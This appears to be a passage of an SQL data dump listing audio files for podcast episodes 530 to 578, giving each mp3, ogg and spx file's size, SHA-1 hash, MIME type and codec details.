(530,'hpr0530.ogg','ogg',7218089,'58a73b3a922099af6a754e89f86b66557665b99e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(530,'hpr0530.spx','spx',1943939,'6108a60a74cf6db63fb4e4cfd37eb520c173de23','application/ogg; charset=binary','Ogg data, Speex audio'),
(531,'hpr0531.mp3','mp3',6154450,'7ec7e3b80945fc70f1e9797a8102b38ef1380c9a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  96 kbps, 24 kHz, Monaural'),
(531,'hpr0531.ogg','ogg',3285073,'5ba28e4cab97df02212ec216b9268501e308f2fd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 24000 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(531,'hpr0531.spx','spx',1832567,'10aa52bc6a880d8d717a94d5c170b13f7487ff9c','application/ogg; charset=binary','Ogg data, Speex audio'),
(532,'hpr0532.mp3','mp3',16051821,'61f93f66f0fdf60e8fe5995bbfb2c118cb6baf90','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(532,'hpr0532.ogg','ogg',8827951,'6a747929f5cefdbba59fbe396c4c18884ef422b3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(532,'hpr0532.spx','spx',3584577,'238f6d1f814a0ad6c50642e6a6f3a9c41c6239d5','application/ogg; charset=binary','Ogg data, Speex audio'),
(533,'hpr0533.mp3','mp3',60844269,'910cf2c032f9956ff928f4b35cb432937c64e38d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(533,'hpr0533.ogg','ogg',23205773,'a7a78cff66a4a3f4b2db729c6aa747aa0495b14c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(533,'hpr0533.spx','spx',13586917,'4e06316f0656d681f0582d0a93b471da4cf180a2','application/ogg; charset=binary','Ogg data, Speex audio'),
(534,'hpr0534.mp3','mp3',43819378,'33e371ea19f9723771c37ffb755818580ac04927','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(534,'hpr0534.ogg','ogg',25721317,'ecf2da812edbce99a4f77f0cff1b5253b20c2dc2','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(534,'hpr0534.spx','spx',10061305,'2c4e46e446a4fbab12362d9f77ad89babc6b320e','application/ogg; charset=binary','Ogg data, Speex audio'),
(535,'hpr0535.mp3','mp3',20427039,'2bdbc91c740f9e5678eaa34232230aaf058c0d0d','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(535,'hpr0535.ogg','ogg',12805405,'089359937733a695562d5ca08827fedc71a74512','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(535,'hpr0535.spx','spx',4690291,'772097af5b354ef25ef9cba212830c5e506bce5d','application/ogg; charset=binary','Ogg data, Speex audio'),
(536,'hpr0536.mp3','mp3',14085058,'53db4905bc561f38612351ea51e1d078df4cc6ae','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(536,'hpr0536.ogg','ogg',14734512,'7f943b8d71c0f408057b1533c552ca24ee73f88a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(536,'hpr0536.spx','spx',6288879,'95488b0110d9f20bea787f450be8e22943eb5d61','application/ogg; charset=binary','Ogg data, Speex audio'),
(537,'hpr0537.mp3','mp3',18061421,'75d67926cc18a0e7d9fcd611745969473d40ee12','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(537,'hpr0537.ogg','ogg',14466435,'04850700db15ee392d7d61f0f16c104b14883dfb','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(537,'hpr0537.spx','spx',4147119,'c2457c63e2a78c31fe9a448f256a07f1940bece6','application/ogg; charset=binary','Ogg data, Speex audio'),
(538,'hpr0538.mp3','mp3',16003170,'7a6cc739be0751dab678b40165fdaa6c052f9e57','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(538,'hpr0538.ogg','ogg',10554965,'20146028c664ba1cec0c96911946c0c99a2c7a96','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(538,'hpr0538.spx','spx',3445579,'d100504bafe11de22f785222f03087b47e15032b','application/ogg; charset=binary','Ogg data, Speex audio'),
(539,'hpr0539.mp3','mp3',22136644,'800a554ef0757196d347516854aa0b1d9c0efcb8','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(539,'hpr0539.ogg','ogg',14895387,'553c53d0105e31f659519f6baea6ccd4edbbed34','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(539,'hpr0539.spx','spx',5082795,'1d2340e287a6d876ec2e430ed7ac8fe111163282','application/ogg; charset=binary','Ogg data, Speex audio'),
(540,'hpr0540.mp3','mp3',25027552,'8f4ef18dc22471445564796487fe9d7257301ece','audio/mpeg; charset=binary','MPEG ADTS, layer III, v2,  48 kbps, 22.05 kHz, JntStereo'),
(540,'hpr0540.ogg','ogg',22486222,'ffc36d9b3059b27dcd4f0fed0cf2018f1d9fc362','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(540,'hpr0540.spx','spx',15324061,'58a63e82f022652ee87b9ba8a6be0da4c817046e','application/ogg; charset=binary','Ogg data, Speex audio'),
(541,'hpr0541.mp3','mp3',60196392,'e81665646a9a319c3b5b2ed3cbd528001bc1a23d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(541,'hpr0541.ogg','ogg',26452372,'b033fd232b79fb908478bf6753e28df9a5f370bf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(541,'hpr0541.spx','spx',13442295,'019dc3b8ab2ae259838def52518f4a5547ed49e7','application/ogg; charset=binary','Ogg data, Speex audio'),
(542,'hpr0542.mp3','mp3',14471538,'3599dba9ff1f57fd797f3b111d1783dee9e0235a','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(542,'hpr0542.ogg','ogg',11614906,'9480a5bc727579fd3f03e919165c48ba18d1025d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(542,'hpr0542.spx','spx',3322886,'bd46c225d3d4472e9bf3fdba50e7e36aa8a667ea','application/ogg; charset=binary','Ogg data, Speex audio'),
(543,'hpr0543.mp3','mp3',5587397,'f3946c85ece586d4e3fde31ecb8c0af1284ca112','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(543,'hpr0543.ogg','ogg',5480854,'96921ebe121eaf43332e2b3d87b59fcf372d1176','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(543,'hpr0543.spx','spx',1967507,'2e52f87e3305b3abe685cf54e89554e893cec26c','application/ogg; charset=binary','Ogg data, Speex audio'),
(544,'hpr0544.mp3','mp3',21881958,'6a5f5bfe82f7d9ac651ae8fee76171ac6417c66c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(544,'hpr0544.ogg','ogg',16649622,'dd2b7b6fe68f23893b454239b8dd12e2d530efd3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(544,'hpr0544.spx','spx',6515265,'47c0386dc34531c5ddd51abfe722255d3ac6c65b','application/ogg; charset=binary','Ogg data, Speex audio'),
(545,'hpr0545.mp3','mp3',24781337,'bb7dd19c5c25ce5a3b0ad9bc88a1f4bbece57ecb','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(545,'hpr0545.ogg','ogg',17983779,'1b2835dedb24ca4490a8487115f52f1b0dec1455','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(545,'hpr0545.spx','spx',5690055,'68529175ac45e495964cb143cf14e030c7afbe59','application/ogg; charset=binary','Ogg data, Speex audio'),
(546,'hpr0546.mp3','mp3',4789400,'31f1e2531a3f4adcfe0b98d47119b70053e67a56','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(546,'hpr0546.ogg','ogg',3648273,'eb3fbbac6f72ffe566c3a3e87b0bd888a4a59fe5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(546,'hpr0546.spx','spx',1426127,'dd1899f4cd7985ea9caf4a48af9e5d89586705ca','application/ogg; charset=binary','Ogg data, Speex audio'),
(547,'hpr0547.mp3','mp3',17624520,'bf28f51e17567ba6fab22b5e9174ce416c0881f8','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1, 128 kbps, 32 kHz, Monaural'),
(547,'hpr0547.ogg','ogg',10751949,'b72b93eec091413f973866c56ab2aa3824e8bdd6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 32000 Hz, ~72000 bps, created by: Xiph.Org libVorbis I'),
(547,'hpr0547.spx','spx',5717065,'e8cb11253d6913556f77c444401ed5896533b14f','application/ogg; charset=binary','Ogg data, Speex audio'),
(548,'hpr0548.mp3','mp3',11655754,'c15080539d7ce0ccc3ed94556a97feeb352a7c8e','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(548,'hpr0548.ogg','ogg',7930113,'8cc22a6f5e0d71a1c685d6966749f4f7cddc316f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(548,'hpr0548.spx','spx',2676301,'f965be21ed80db776cda349840e7a79477d174ca','application/ogg; charset=binary','Ogg data, Speex audio'),
(549,'hpr0549.mp3','mp3',17491388,'f37a8d6a58cc058e9a30a6b36436619678eea9b9','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(549,'hpr0549.ogg','ogg',12235144,'d04748abf7bf24a0cb8958488e545306131b77c5','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(549,'hpr0549.spx','spx',4016242,'6025a143d1b09260f19839cf935d86cbabebe5e2','application/ogg; charset=binary','Ogg data, Speex audio'),
(550,'hpr0550.mp3','mp3',3307101,'8d14633186df49288a0e27cc4fb146da2828b8d5','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(550,'hpr0550.ogg','ogg',2948251,'6f4e41d47275945af743abf66d337ca8a418b1bc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(550,'hpr0550.spx','spx',1477145,'747a681a74e7b63b60af078e84cfec69906e2846','application/ogg; charset=binary','Ogg data, Speex audio'),
(551,'hpr0551.mp3','mp3',9625824,'c30a47870a986372d8602376ed6bfb94216b8204','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  48 kbps, 32 kHz, Monaural'),
(551,'hpr0551.ogg','ogg',8561552,'a9c6578e8e28bff0113287764161c43045924141','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 32000 Hz, ~72000 bps, created by: Xiph.Org libVorbis I'),
(551,'hpr0551.spx','spx',5732083,'8cbdd09b9e233c594b9380bba800259b28a6eb1d','application/ogg; charset=binary','Ogg data, Speex audio'),
(552,'hpr0552.mp3','mp3',23721952,'41f9258bc70ae46f0f666d61983be64fa1ae48d7','audio/mpeg; charset=binary','MPEG ADTS, layer III, v2,  48 kbps, 22.05 kHz, JntStereo'),
(552,'hpr0552.ogg','ogg',25168567,'f4eadff2241e557d1843547a86bb8f1c7cebeec5','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(552,'hpr0552.spx','spx',14524691,'1500acc00b8e9118359ecc03365fdf659d92e723','application/ogg; charset=binary','Ogg data, Speex audio'),
(553,'hpr0553.mp3','mp3',8751456,'3d71cdec812592e130065cd99c7cc9189da64776','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  48 kbps, 32 kHz, Monaural'),
(553,'hpr0553.ogg','ogg',6015945,'ab7b9ec14fc68321d0a2432fd9f2918a902a9707','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 32000 Hz, ~72000 bps, created by: Xiph.Org libVorbis I'),
(553,'hpr0553.spx','spx',5211456,'0f41fcb0f2c7fe9515ec95cf62591e6454d27fee','application/ogg; charset=binary','Ogg data, Speex audio'),
(554,'hpr0554.mp3','mp3',8170398,'f2f8be7af615ebe8eac8649fd57ac73d30b93b8d','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(554,'hpr0554.ogg','ogg',5537633,'58ab223575d00b77cec623c15ee1477e7c6c3598','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(554,'hpr0554.spx','spx',1876101,'35a5cd1181a2f586cb16ec6fa02e7ad60f3b761d','application/ogg; charset=binary','Ogg data, Speex audio'),
(555,'hpr0555.mp3','mp3',33983514,'478b2a091aee9fc390d0b44f02d6ccd18fb5303d','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 160 kbps, 44.1 kHz, JntStereo'),
(555,'hpr0555.ogg','ogg',15905764,'569bdd99dd2585bb98b05a6acacd8a0b245af37a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(555,'hpr0555.spx','spx',6223856,'d8e34ecb7ba91f6deef218c7f715bec41adcb9c0','application/ogg; charset=binary','Ogg data, Speex audio'),
(556,'hpr0556.mp3','mp3',10332800,'4b6fa7521cb6f4d706bc106d8bdf2d4d83fa8c67','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(556,'hpr0556.ogg','ogg',9466471,'5b54e0400c09da9b9f870ac0220e7e353f895138','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(556,'hpr0556.spx','spx',8204150,'96aeaf072d455006022e0a8f8cd745ccf1edc5d2','application/ogg; charset=binary','Ogg data, Speex audio'),
(557,'hpr0557.mp3','mp3',54575831,'758d6e605a9893e09bd6ab3442497ec523becb22','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 160 kbps, 44.1 kHz, JntStereo'),
(557,'hpr0557.ogg','ogg',28491681,'c982f38d647dfc9043250cef3a6812644b14f8fc','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(557,'hpr0557.spx','spx',10010319,'d9b6fe0de31cce15acb8e3992ec5367afa262174','application/ogg; charset=binary','Ogg data, Speex audio'),
(558,'hpr0558.mp3','mp3',4556792,'5d4bfc93822705d6e0c58e118d778fd59b71c80e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(558,'hpr0558.ogg','ogg',3387197,'d5af0e3c51f6e84c22b2d0cc576540e01be44dae','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(558,'hpr0558.spx','spx',1356798,'4542b7e6350b2c5a435cf6105bce7260faa693b1','application/ogg; charset=binary','Ogg data, Speex audio'),
(559,'hpr0559.mp3','mp3',45459580,'22cfa35ec8f863d054810ee8e4bd58b243e2dcb6','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(559,'hpr0559.ogg','ogg',28259445,'a0c91d2d47e366077fe81392312a2bed23c396bd','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(559,'hpr0559.spx','spx',10411026,'c2303068878de5ad542542da1821accc74b57a92','application/ogg; charset=binary','Ogg data, Speex audio'),
(560,'hpr0560.mp3','mp3',45988276,'91648df79087c1e94ba836dda1f4780c17982ee4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 256 kbps, 44.1 kHz, Stereo'),
(560,'hpr0560.ogg','ogg',17952295,'d39faa8110be711ba1c149492aa98fae0b1da8d3','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(560,'hpr0560.spx','spx',5279704,'330ffb9ca4adc521687417286f5d3ed8b74b5d35','application/ogg; charset=binary','Ogg data, Speex audio'),
(561,'hpr0561.mp3','mp3',33043217,'8c0af4d259ae06f3198ec26bfc194d9416d98ce4','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(561,'hpr0561.ogg','ogg',20638715,'4fe11f8da4252c4d64020b662198f2c97ec5d1a1','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(561,'hpr0561.spx','spx',7583104,'ed44e35130daca818733b276c02a52a76a6fb8a3','application/ogg; charset=binary','Ogg data, Speex audio'),
(562,'hpr0562.mp3','mp3',14787812,'b0d428df9bf22ea48d43afe9589b3302b6d179cd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(562,'hpr0562.ogg','ogg',11531864,'4ea7f8df4bd9a94625139aafe5794366e3cdec25','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(562,'hpr0562.spx','spx',4403049,'86da716f2a1b4ec49417665a4bb803802ba7f9d2','application/ogg; charset=binary','Ogg data, Speex audio'),
(563,'hpr0563.mp3','mp3',44090435,'5c133827367d75228d383cc14eebaa9e2a9d35ad','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 160 kbps, 44.1 kHz, JntStereo'),
(563,'hpr0563.ogg','ogg',21266023,'ba1a30eb993b628e97dab530d87952b1ec8c4e9d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(563,'hpr0563.spx','spx',8095746,'84f95bf0c9c15ad773a9f1b5b114e3a90f019e78','application/ogg; charset=binary','Ogg data, Speex audio'),
(564,'hpr0564.mp3','mp3',12769408,'c571c4c039089c95a524c5b59dbcdd03b5084bc2','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 32 kHz, Monaural'),
(564,'hpr0564.ogg','ogg',12247123,'833a67457eef80ba5759ec077cf91464413c2ae4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 32000 Hz, ~72000 bps, created by: Xiph.Org libVorbis I'),
(564,'hpr0564.spx','spx',9929089,'3515a0d96fb19dcdf9f19ce96ae4dc0393d2931f','application/ogg; charset=binary','Ogg data, Speex audio'),
(565,'hpr0565.mp3','mp3',34828674,'b3e838e874a37f2f4991dd8fc034846d9aa1a805','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 160 kbps, 44.1 kHz, JntStereo'),
(565,'hpr0565.ogg','ogg',16654418,'90c6055aea221b13196a8f2816dae56fe5432876','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(565,'hpr0565.spx','spx',6394077,'40c828638692d00703946d9c60e4b0105d1acb4b','application/ogg; charset=binary','Ogg data, Speex audio'),
(566,'hpr0566.mp3','mp3',14246370,'10c032da412a092e7e1a939a2db0c8a9f3345dab','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(566,'hpr0566.ogg','ogg',6116232,'c671f0053835d2ee5ffbb25c6e256c99f361bbc3','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(566,'hpr0566.spx','spx',1703079,'82269f37dd70b09ca35e709bb9697263d72d18fe','application/ogg; charset=binary','Ogg data, Speex audio'),
(567,'hpr0567.mp3','mp3',20355920,'4b44d6601ad015b94a3b6b85914e1df71d6ef005','audio/mpeg; charset=binary','MPEG ADTS, layer II, v1,  64 kbps, 44.1 kHz, Stereo'),
(567,'hpr0567.ogg','ogg',25178117,'59dc27ade3ab224cd254aad38386d4243153a54d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(567,'hpr0567.spx','spx',9391809,'0d314a0976924ae6455e05835bcd60868d098b7c','application/ogg; charset=binary','Ogg data, Speex audio'),
(568,'hpr0568.mp3','mp3',51511183,'496c232a54124a6bb6a41bf16c6dc7e8f9ce9e60','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 160 kbps, 44.1 kHz, JntStereo'),
(568,'hpr0568.ogg','ogg',26116320,'c5a6904ea6f5542d764341394ea6ef47da8f213d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(568,'hpr0568.spx','spx',9458890,'1cf74d4476e3a45a87bcc701017919959f2a9e81','application/ogg; charset=binary','Ogg data, Speex audio'),
(569,'hpr0569.mp3','mp3',14550572,'bac9b81180fd7a6f068cbbe0efdbf4b91503480e','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1, 128 kbps, 32 kHz, JntStereo'),
(569,'hpr0569.ogg','ogg',16780786,'13550c00722170585d04049dc2a709d0c5e6774b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(569,'hpr0569.spx','spx',6650202,'9b5cea0cf9c97ddc2f1fd6e463949d8c342ce0e8','application/ogg; charset=binary','Ogg data, Speex audio'),
(570,'hpr0570.mp3','mp3',8776410,'97514eb7a3eb43ece710e8bbfcab6d30136231a0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(570,'hpr0570.ogg','ogg',6248918,'c694dfba8cdc4d97416e12df872443ab7f0e60e1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(570,'hpr0570.spx','spx',2613166,'d99e050d75e266e1edbadad61b2e9e8d7b43f39a','application/ogg; charset=binary','Ogg data, Speex audio'),
(571,'hpr0571.mp3','mp3',61650608,'c555905b27e500f5b32650948f920faf315264bf','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 160 kbps, 44.1 kHz, JntStereo'),
(571,'hpr0571.ogg','ogg',30377954,'29c29019d0a30f20640c8b48aeecfd3dfebbad1d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(571,'hpr0571.spx','spx',11309913,'8c7fbce36137e335f142efa51a7320a6b3e66f86','application/ogg; charset=binary','Ogg data, Speex audio'),
(572,'hpr0572.mp3','mp3',4485747,'076f30a6ec176c8c1d6f95bab722fbe0bc6987d0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Monaural'),
(572,'hpr0572.ogg','ogg',3985646,'16b3220c3bbdb3c8e5096ae52425a149b0e8648d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(572,'hpr0572.spx','spx',4399685,'b42594d77e901d814dd3f400cbf8c60cff1a8fda','application/ogg; charset=binary','Ogg data, Speex audio'),
(573,'hpr0573.mp3','mp3',37242051,'92928783a017714821436a4ff2d14bb1ed7970f4','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(573,'hpr0573.ogg','ogg',22273648,'1311bfc676778d996f6f3426f2071c07cf13299e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(573,'hpr0573.spx','spx',17101990,'a8d1aad1292ff338bd68b9d2bbec9670b0cedea9','application/ogg; charset=binary','Ogg data, Speex audio'),
(574,'hpr0574.mp3','mp3',8246520,'8dc8b8d360a1f375ac22c7957d2df2948f647d62','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1, 128 kbps, 32 kHz, Monaural'),
(574,'hpr0574.ogg','ogg',7134088,'ee94223f9bca98c68d4660e308374392e176fab3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 32000 Hz, ~72000 bps, created by: Xiph.Org libVorbis I'),
(574,'hpr0574.spx','spx',6485753,'5cda8c8f84d3d8046f5a3f670330e7a4750278d0','application/ogg; charset=binary','Ogg data, Speex audio'),
(575,'hpr0575.mp3','mp3',19760093,'6bb8d0d2bcd40d75b88801cbe6c4ec55f45a7821','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(575,'hpr0575.ogg','ogg',10262176,'078f8b72db648d1d8fe381ff4946940ce694797e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(575,'hpr0575.spx','spx',4412617,'d3128c616f3c5d311d7b897de0c4c9d05413caf3','application/ogg; charset=binary','Ogg data, Speex audio'),
(576,'hpr0576.mp3','mp3',8289590,'490cd104e35cc45f18a5682f8fd28e73024d36f4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 32 kHz, Stereo'),
(576,'hpr0576.ogg','ogg',6077512,'d3e9b1c6067d5056fef17bdd23e06c607a81a420','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(576,'hpr0576.spx','spx',3045383,'6c668bd4a45f374e6bc11cb816561220be4d1d22','application/ogg; charset=binary','Ogg data, Speex audio'),
(577,'hpr0577.mp3','mp3',11150963,'c6922afb0a8ca99088cb97bbfde6909f2a54d3c4','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(577,'hpr0577.ogg','ogg',9718323,'d45ca8b99d981018a75cfe010bb687ddbc4921b3','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(577,'hpr0577.spx','spx',2560451,'ec636dfb828c998fad4a03588d8629e2af32ff32','application/ogg; charset=binary','Ogg data, Speex audio'),
(578,'hpr0578.mp3','mp3',23083263,'445221ac6d257b99e02c1ea444a8ce40b8ac942f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(578,'hpr0578.ogg','ogg',11953039,'1df1880f53f061c5da54d193b3f650d31453ff95','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(578,'hpr0578.spx','spx',5154704,'5c16d3ef6e228c2bf4f52d6006cf3624ed2db864','application/ogg; charset=binary','Ogg data, Speex audio'),
